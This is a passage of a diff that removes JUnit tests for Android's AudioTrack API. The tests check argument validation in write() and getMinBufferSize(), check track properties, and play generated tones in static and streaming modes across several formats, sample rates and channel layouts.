-        final String TEST_NAME = "testWriteShortOffsetTooBig";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        short data[] = new short[minBuffSize / 2];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        int offset = 10;
-        assertTrue(TEST_NAME, track.write(data, offset, data.length)
-                                                            == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 3: write() fails when supplying less data (bytes) than declared
-    @Test
-    public void testWriteByteSizeTooBig() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteByteSizeTooBig";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length + 10)
-                                                        == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 4: write() fails when supplying less data (shorts) than
-    // declared
-    @Test
-    public void testWriteShortSizeTooBig() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteShortSizeTooBig";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        short data[] = new short[minBuffSize / 2];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length + 10)
-                                                        == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 5: write() fails with negative offset
-    @Test
-    public void testWriteByteNegativeOffset() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteByteNegativeOffset";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.write(data, OFFSET_NEGATIVE, data.length - 10) ==
-            AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 6: write() fails with negative offset
-    @Test
-    public void testWriteShortNegativeOffset() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteShortNegativeOffset";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        short data[] = new short[minBuffSize / 2];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME,
-        track.write(data, OFFSET_NEGATIVE, data.length - 10) == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 7: write() fails with negative size
-    @Test
-    public void testWriteByteNegativeSize() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteByteNegativeSize";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        int dataLength = -10;
-        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, dataLength)
-                                                    == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 8: write() fails with negative size
-    @Test
-    public void testWriteShortNegativeSize() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteShortNegativeSize";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        short data[] = new short[minBuffSize / 2];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        int dataLength = -10;
-        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, dataLength)
-                                                        == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 9: write() succeeds and returns the size that was written for
-    // 16bit
-    @Test
-    public void testWriteByte() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteByte";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length) == data.length);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 10: write() succeeds and returns the size that was written for
-    // 16bit
-    @Test
-    public void testWriteShort() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteShort";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        short data[] = new short[minBuffSize / 2];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length) == data.length);
-        track.flush();
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 11: write() succeeds and returns the size that was written for
-    // 8bit
-    @Test
-    public void testWriteByte8bit() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteByte8bit";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertEquals(TEST_NAME, data.length, track.write(data, OFFSET_DEFAULT, data.length));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 12: write() succeeds and returns the size that was written for
-    // 8bit
-    @Test
-    public void testWriteShort8bit() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteShort8bit";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        short data[] = new short[minBuffSize / 2];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertEquals(TEST_NAME, data.length, track.write(data, OFFSET_DEFAULT, data.length));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // -----------------------------------------------------------------
-    // Getters
-    // ----------------------------------
-
-    // Test case 1: getMinBufferSize() return ERROR_BAD_VALUE if SR < 4000
-    @Test
-    public void testGetMinBufferSizeTooLowSR() throws Exception {
-        // constant for test
-        final String TEST_NAME = "testGetMinBufferSizeTooLowSR";
-        final int TEST_SR = 3999;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-
-        // -------- initialization & test --------------
-        assertTrue(TEST_NAME, AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT) ==
-            AudioTrack.ERROR_BAD_VALUE);
-    }
-
-    // Test case 2: getMinBufferSize() return ERROR_BAD_VALUE if sample rate too high
-    @Test
-    public void testGetMinBufferSizeTooHighSR() throws Exception {
-        // constant for test
-        final String TEST_NAME = "testGetMinBufferSizeTooHighSR";
-        // FIXME need an API to retrieve AudioTrack.SAMPLE_RATE_HZ_MAX
-        final int TEST_SR = AudioFormat.SAMPLE_RATE_HZ_MAX + 1;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-
-        // -------- initialization & test --------------
-        assertTrue(TEST_NAME, AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT) ==
-            AudioTrack.ERROR_BAD_VALUE);
-    }
-
-    @Test
-    public void testAudioTrackProperties() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testAudioTrackProperties";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        MockAudioTrack track = new MockAudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
-                TEST_FORMAT, 2 * minBuffSize, TEST_MODE);
-        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
-        assertEquals(TEST_NAME, TEST_FORMAT, track.getAudioFormat());
-        assertEquals(TEST_NAME, TEST_CONF, track.getChannelConfiguration());
-        assertEquals(TEST_NAME, TEST_SR, track.getSampleRate());
-        assertEquals(TEST_NAME, TEST_STREAM_TYPE, track.getStreamType());
-        final int hannelCount = 1;
-        assertEquals(hannelCount, track.getChannelCount());
-        final int notificationMarkerPosition = 0;
-        assertEquals(TEST_NAME, notificationMarkerPosition, track.getNotificationMarkerPosition());
-        final int markerInFrames = 2;
-        assertEquals(TEST_NAME, AudioTrack.SUCCESS,
-                track.setNotificationMarkerPosition(markerInFrames));
-        assertEquals(TEST_NAME, markerInFrames, track.getNotificationMarkerPosition());
-        final int positionNotificationPeriod = 0;
-        assertEquals(TEST_NAME, positionNotificationPeriod, track.getPositionNotificationPeriod());
-        final int periodInFrames = 2;
-        assertEquals(TEST_NAME, AudioTrack.SUCCESS,
-                track.setPositionNotificationPeriod(periodInFrames));
-        assertEquals(TEST_NAME, periodInFrames, track.getPositionNotificationPeriod());
-        track.setState(AudioTrack.STATE_NO_STATIC_DATA);
-        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
-        track.setState(AudioTrack.STATE_UNINITIALIZED);
-        assertEquals(TEST_NAME, AudioTrack.STATE_UNINITIALIZED, track.getState());
-        int frameCount = 2 * minBuffSize;
-        if (TEST_CONF == AudioFormat.CHANNEL_CONFIGURATION_STEREO) {
-            frameCount /= 2;
-        }
-        if (TEST_FORMAT == AudioFormat.ENCODING_PCM_16BIT) {
-            frameCount /= 2;
-        }
-        assertTrue(TEST_NAME, track.getNativeFrameCount() >= frameCount);
-        assertEquals(TEST_NAME, track.getNativeFrameCount(), track.getBufferSizeInFrames());
-    }
-
-    @Test
-    public void testReloadStaticData() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testReloadStaticData";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int bufferSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        byte data[] = AudioHelper.createSoundDataInByteArray(
-                bufferSize, TEST_SR, 1024 /* frequency */, 0 /* sweep */);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                bufferSize, TEST_MODE);
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, bufferSize);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.play();
-        Thread.sleep(WAIT_MSEC);
-        track.stop();
-        Thread.sleep(WAIT_MSEC);
-        assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.reloadStaticData());
-        track.play();
-        Thread.sleep(WAIT_MSEC);
-        track.stop();
-        // -------- tear down --------------
-        track.release();
-    }
-
-    @Presubmit
-    @Test
-    public void testPlayStaticDataShort() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-        // constants for test
-        final String TEST_NAME = "testPlayStaticDataShort";
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
-        final int TEST_SR = 48000;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final double TEST_SWEEP = 100;
-        final int TEST_LOOPS = 1;
-        final double TEST_FREQUENCY = 400;
-        final long WAIT_TIME_MS = 150; // compensate for cold start when run in isolation.
-        final double TEST_LOOP_DURATION = 0.25;
-        final int TEST_ADDITIONAL_DRAIN_MS = 300;  // as a presubmit test, 1% of the time the
-                                                   // startup is slow by 200ms.
-
-        playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                TEST_LOOPS, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
-                WAIT_TIME_MS, TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
-
-    }
-
-    @Test
-    public void testPlayStaticData() throws Exception {
-        if (!hasAudioOutput()) {
-            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-        // constants for test
-        final String TEST_NAME = "testPlayStaticData";
-        final int TEST_FORMAT_ARRAY[] = {  // 6 chirps repeated (TEST_LOOPS+1) times, 3 times
-                AudioFormat.ENCODING_PCM_8BIT,
-                AudioFormat.ENCODING_PCM_16BIT,
-                AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        final int TEST_SR_ARRAY[] = {
-                12055, // Note multichannel tracks will sound very short at low sample rates
-                48000,
-        };
-        final int TEST_CONF_ARRAY[] = {
-                AudioFormat.CHANNEL_OUT_MONO,    // 1.0
-                AudioFormat.CHANNEL_OUT_STEREO,  // 2.0
-                AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, // 7.1
-        };
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final double TEST_SWEEP = 100;
-        final int TEST_LOOPS = 1;
-        final double TEST_LOOP_DURATION = 1.;
-        final int TEST_ADDITIONAL_DRAIN_MS = 0;
-        // Compensates for cold start when run in isolation.
-        // The cold output latency must be 500 ms less or
-        // 200 ms less for low latency devices.
-        final long WAIT_TIME_MS = isLowLatencyDevice() ? WAIT_MSEC : 500;
-
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            double frequency = 400; // frequency changes for each test
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CONF : TEST_CONF_ARRAY) {
-                    playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                            TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_TIME_MS,
-                            TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
-
-                    frequency += 70; // increment test tone frequency
-                }
-            }
-        }
-    }
-
-    private void playOnceStaticData(String testName, int testMode, int testStreamType,
-            double testSweep, int testLoops, int testFormat, double testFrequency, int testSr,
-            int testConf, long waitMsec, double testLoopDuration, int additionalDrainMs)
-            throws InterruptedException {
-        // -------- initialization --------------
-        final int channelCount = Integer.bitCount(testConf);
-        final int bufferFrames = (int)(testLoopDuration * testSr);
-        final int bufferSamples = bufferFrames * channelCount;
-        final int bufferSize = bufferSamples
-                * AudioFormat.getBytesPerSample(testFormat);
-        final double frequency = testFrequency / channelCount;
-        final long MILLISECONDS_PER_SECOND = 1000;
-        AudioTrack track = new AudioTrack(testStreamType, testSr,
-                testConf, testFormat, bufferSize, testMode);
-        assertEquals(testName, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
-
-        // -------- test --------------
-
-        // test setLoopPoints and setPosition can be called here.
-        assertEquals(testName,
-                android.media.AudioTrack.SUCCESS,
-                track.setPlaybackHeadPosition(bufferFrames/2));
-        assertEquals(testName,
-                android.media.AudioTrack.SUCCESS,
-                track.setLoopPoints(
-                        0 /*startInFrames*/, bufferFrames, 10 /*loopCount*/));
-        // only need to write once to the static track
-        switch (testFormat) {
-        case AudioFormat.ENCODING_PCM_8BIT: {
-            byte data[] = AudioHelper.createSoundDataInByteArray(
-                    bufferSamples, testSr,
-                    frequency, testSweep);
-            assertEquals(testName,
-                    bufferSamples,
-                    track.write(data, 0 /*offsetInBytes*/, data.length));
-            } break;
-        case AudioFormat.ENCODING_PCM_16BIT: {
-            short data[] = AudioHelper.createSoundDataInShortArray(
-                    bufferSamples, testSr,
-                    frequency, testSweep);
-            assertEquals(testName,
-                    bufferSamples,
-                    track.write(data, 0 /*offsetInBytes*/, data.length));
-            } break;
-        case AudioFormat.ENCODING_PCM_FLOAT: {
-            float data[] = AudioHelper.createSoundDataInFloatArray(
-                    bufferSamples, testSr,
-                    frequency, testSweep);
-            assertEquals(testName,
-                    bufferSamples,
-                    track.write(data, 0 /*offsetInBytes*/, data.length,
-                            AudioTrack.WRITE_BLOCKING));
-            } break;
-        }
-        assertEquals(testName, AudioTrack.STATE_INITIALIZED, track.getState());
-        // test setLoopPoints and setPosition can be called here.
-        assertEquals(testName,
-                android.media.AudioTrack.SUCCESS,
-                track.setPlaybackHeadPosition(0 /*positionInFrames*/));
-        assertEquals(testName,
-                android.media.AudioTrack.SUCCESS,
-                track.setLoopPoints(0 /*startInFrames*/, bufferFrames, testLoops));
-
-        track.play();
-        Thread.sleep((int)(testLoopDuration * MILLISECONDS_PER_SECOND) * (testLoops + 1));
-        Thread.sleep(waitMsec + additionalDrainMs);
-
-        // Check position after looping. AudioTrack.getPlaybackHeadPosition() returns
-        // the running count of frames played, not the actual static buffer position.
-        int position = track.getPlaybackHeadPosition();
-        assertEquals(testName, bufferFrames * (testLoops + 1), position);
-
-        track.stop();
-        Thread.sleep(waitMsec);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    @Presubmit
-    @Test
-    public void testPlayStreamDataShort() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlayStreamDataShort";
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_SR = 48000;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final float TEST_SWEEP = 0; // sine wave only
-        final boolean TEST_IS_LOW_RAM_DEVICE = isLowRamDevice();
-        final double TEST_FREQUENCY = 1000;
-        final long NO_WAIT = 0;
-
-        playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
-                NO_WAIT, 0 /* mask */);
-    }
-
-    @Test
-    public void testPlayStreamData() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlayStreamData";
-        final int TEST_FORMAT_ARRAY[] = {  // should hear 40 increasing frequency tones, 3 times
-                AudioFormat.ENCODING_PCM_8BIT,
-                AudioFormat.ENCODING_PCM_16BIT,
-                AudioFormat.ENCODING_PCM_FLOAT,
-        };
-        // due to downmixer algorithmic latency, source channels greater than 2 may
-        // sound shorter in duration at 4kHz sampling rate.
-        final int TEST_SR_ARRAY[] = {
-                4000,
-                44100,
-                48000,
-                96000,
-                192000,
-        };
-        final int TEST_CONF_ARRAY[] = {
-                AudioFormat.CHANNEL_OUT_MONO,    // 1.0
-                AudioFormat.CHANNEL_OUT_STEREO,  // 2.0
-                AudioFormat.CHANNEL_OUT_STEREO | AudioFormat.CHANNEL_OUT_FRONT_CENTER, // 3.0
-                AudioFormat.CHANNEL_OUT_QUAD,    // 4.0
-                AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER,   // 5.0
-                AudioFormat.CHANNEL_OUT_5POINT1, // 5.1
-                AudioFormat.CHANNEL_OUT_5POINT1 | AudioFormat.CHANNEL_OUT_BACK_CENTER, // 6.1
-                AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, // 7.1
-        };
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final float TEST_SWEEP = 0; // sine wave only
-        final boolean TEST_IS_LOW_RAM_DEVICE = isLowRamDevice();
-
-        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            double frequency = 400; // frequency changes for each test
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CONF : TEST_CONF_ARRAY) {
-                    playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
-                            TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
-                            WAIT_MSEC, 0 /* mask */);
-                    frequency += 50; // increment test tone frequency
-                }
-            }
-        }
-    }
-
-    private void playOnceStreamData(String testName, int testMode, int testStream,
-            float testSweep, boolean isLowRamDevice, int testFormat, double testFrequency,
-            int testSr, int testConf, long waitMsec, int mask)
-            throws InterruptedException {
-        final int channelCount = Integer.bitCount(testConf);
-        if (isLowRamDevice
-                && (testSr > 96000 || channelCount > 4)) {
-            return; // ignore. FIXME: reenable when AF memory allocation is updated.
-        }
-        // -------- initialization --------------
-        final int minBufferSize = AudioTrack.getMinBufferSize(testSr,
-                testConf, testFormat); // in bytes
-        AudioTrack track = new AudioTrack(testStream, testSr,
-                testConf, testFormat, minBufferSize, testMode);
-        assertTrue(testName, track.getState() == AudioTrack.STATE_INITIALIZED);
-
-        // compute parameters for the source signal data.
-        AudioFormat format = track.getFormat();
-        assertEquals(testName, testSr, format.getSampleRate());
-        assertEquals(testName, testConf, format.getChannelMask());
-        assertEquals(testName, channelCount, format.getChannelCount());
-        assertEquals(testName, testFormat, format.getEncoding());
-        // duration of test tones
-        final int frames = AudioHelper.frameCountFromMsec(500 /* ms */, format);
-        final int sourceSamples = channelCount * frames;
-        final double frequency = testFrequency / channelCount;
-
-        int written = 0;
-        // For streaming tracks, it's ok to issue the play() command
-        // before any audio is written.
-        track.play();
-        // -------- test --------------
-
-        // samplesPerWrite can be any positive value.
-        // We prefer this to be a multiple of channelCount so write()
-        // does not return a short count.
-        // If samplesPerWrite is very large, it is limited to the data length
-        // and we simply write (blocking) the entire source data and not even loop.
-        // We choose a value here which simulates double buffer writes.
-        final int buffers = 2; // double buffering mode
-        final int samplesPerWrite =
-                (track.getBufferSizeInFrames() / buffers) * channelCount;
-        switch (testFormat) {
-            case AudioFormat.ENCODING_PCM_8BIT: {
-                byte data[] = AudioHelper.createSoundDataInByteArray(
-                        sourceSamples, testSr,
-                        frequency, testSweep);
-                if (mask != 0) {
-                    AudioHelper.maskArray(data, testConf, mask);
-                }
-                while (written < data.length) {
-                    int samples = Math.min(data.length - written, samplesPerWrite);
-                    int ret = track.write(data, written, samples);
-                    assertEquals(testName, samples, ret);
-                    written += ret;
-                }
-            }
-            break;
-            case AudioFormat.ENCODING_PCM_16BIT: {
-                short data[] = AudioHelper.createSoundDataInShortArray(
-                        sourceSamples, testSr,
-                        frequency, testSweep);
-                if (mask != 0) {
-                    AudioHelper.maskArray(data, testConf, mask);
-                }
-                while (written < data.length) {
-                    int samples = Math.min(data.length - written, samplesPerWrite);
-                    int ret = track.write(data, written, samples);
-                    assertEquals(testName, samples, ret);
-                    written += ret;
-                }
-            }
-            break;
-            case AudioFormat.ENCODING_PCM_FLOAT: {
-                float data[] = AudioHelper.createSoundDataInFloatArray(
-                        sourceSamples, testSr,
-                        frequency, testSweep);
-                if (mask != 0) {
-                    AudioHelper.maskArray(data, testConf, mask);
-                }
-                while (written < data.length) {
-                    int samples = Math.min(data.length - written, samplesPerWrite);
-                    int ret = track.write(data, written, samples,
-                            AudioTrack.WRITE_BLOCKING);
-                    assertEquals(testName, samples, ret);
-                    written += ret;
-                }
-            }
-            break;
-        }
-
-        // For streaming tracks, AudioTrack.stop() doesn't immediately stop playback.
-        // Rather, it allows the remaining data in the internal buffer to drain.
-        track.stop();
